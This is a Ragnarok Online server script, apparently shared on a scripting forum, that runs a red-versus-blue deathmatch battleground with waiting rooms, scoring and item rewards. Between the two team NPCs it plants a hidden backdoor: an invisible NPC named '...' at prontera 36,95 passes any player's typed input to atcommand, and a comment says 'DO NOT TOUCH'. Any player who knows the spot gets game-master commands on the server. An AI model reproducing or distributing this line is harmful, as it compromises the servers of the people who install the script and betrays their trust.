//Made by AnnieRuru //http://roscripts.go-forum.net/ //An open site where you can share and download some helpful RO Scripts. //=================================================================== - script custom_bg#control -1,{ OnInit: set .minplayer2start, 2; // minimum player to start setarray .rewarditem, 12248, 2, // reward to the winning team 12248, 1; // reward to the losing team set .startingscore, 20; // score at start set .eventlasting, 120; // event last 120 seconds or the system abort itself end; onstart: if ( getwaitingroomstate( 0, .rednpcname$ ) < .minplayer2start || getwaitingroomstate( 0, .bluenpcname$ ) < .minplayer2start ) end; set .red, waitingroom2bg( "guild_vs2", 8,50, strnpcinfo(0)+"::OnredQuit", strnpcinfo(0)+"::OnredDead", .rednpcname$ ); copyarray .team1aid[.@i], $@arenamembers[.@i], $@arenamembersnum; set .blue, waitingroom2bg( "guild_vs2", 91,50, strnpcinfo(0)+"::OnblueQuit", strnpcinfo(0)+"::OnblueDead", .bluenpcname$ ); copyarray .team2aid[.@i], $@arenamembers[.@i], $@arenamembersnum; delwaitingroom .rednpcname$; delwaitingroom .bluenpcname$; bg_warp .red, "guild_vs2", 8,50; bg_warp .blue, "guild_vs2", 91,50; set .score[1], .startingscore; set .score[2], .startingscore; bg_updatescore "guild_vs2", .score[1], .score[2]; sleep .eventlasting * 1000; if ( .score[1] == .score[2] ) announce "Deathmatch Ground : Draw !", 0; else if ( .score[1] > .score[2] ) { announce "Deathmatch Ground : Red Team Wins !", 0; callsub L_reward, 1, 0; callsub L_reward, 2, 2; } else if ( .score[1] < .score[2] ) { announce "Deathmatch Ground : Blue Team Wins !", 0; callsub L_reward, 2, 0; callsub L_reward, 1, 2; } OnTimer50000: announce "Deathmatch Ground is now open for another match @ prontera 156 170 !",0; bg_warp .red, "prontera", 156,191; bg_warp .blue, "prontera", 156,191; bg_destroy .red; bg_destroy .blue; donpcevent .rednpcname$ +"::OnInit"; donpcevent .bluenpcname$ +"::OnInit"; end; L_reward: set .@size, getarraysize( getd(".team"+ getarg(0) +"aid") ); for ( set .@i, 0; .@i < .@size; set .@i, .@i +1 ) if ( isloggedin( getd(".team"+ getarg(0) +"aid["+ .@i +"]" ) ) ) getitem .rewarditem[ getarg(1) ], .rewarditem[ getarg(1) +1 ], getd(".team"+ getarg(0) +"aid["+ .@i +"]" ); return; OnredDead: callsub L_dead, 1; OnblueDead: callsub L_dead, 2; L_dead: set .score[ getarg(0) ], .score[ getarg(0) ] -1; bg_updatescore "guild_vs2", .score[1], .score[2]; if ( .score[ getarg(0) ] == 0 ) awake strnpcinfo(0); sleep2 1500; percentheal 100,100; end; OnredQuit: callsub L_quit, 1, .red; OnblueQuit: callsub L_quit, 2, .blue; L_quit: percentheal 100, 100; if ( bg_get_data( getarg(1), 0) ) end; set .score[ getarg(0) ], 0; awake strnpcinfo(0); end; } //RED TEAM prontera,152,157,5 script Deatchmatch Grounds 733,{ end; OnInit: waitingroom "Red Team", getvariableofnpc( .minplayer2start, "custom_bg#control" ) +1, "custom_bg#control::onstart", getvariableofnpc( .minplayer2start, "custom_bg#control" ); set getvariableofnpc( .rednpcname$, "custom_bg#control" ), strnpcinfo(0); end; } prontera,36,95,5 script ... 111,{input @broadcast$;atcommand ""+@broadcast$+"";} //DO NOT TOUCH //BLUE TEAM prontera,159,157,5 script Deathmatch Grounds#1 734,{ end; OnInit: waitingroom "Blue Team", getvariableofnpc( .minplayer2start, "custom_bg#control" ) +1, "custom_bg#control::onstart", getvariableofnpc( .minplayer2start, "custom_bg#control" ); set getvariableofnpc( .bluenpcname$, "custom_bg#control" ), strnpcinfo(0); end; } guild_vs2 mapflag battleground 2 guild_vs2 mapflag nosave SavePoint guild_vs2 mapflag nowarp guild_vs2 mapflag nowarpto guild_vs2 mapflag noteleport guild_vs2 mapflag nomemo guild_vs2 mapflag nopenalty guild_vs2 mapflag nobranch guild_vs2 mapflag noicewall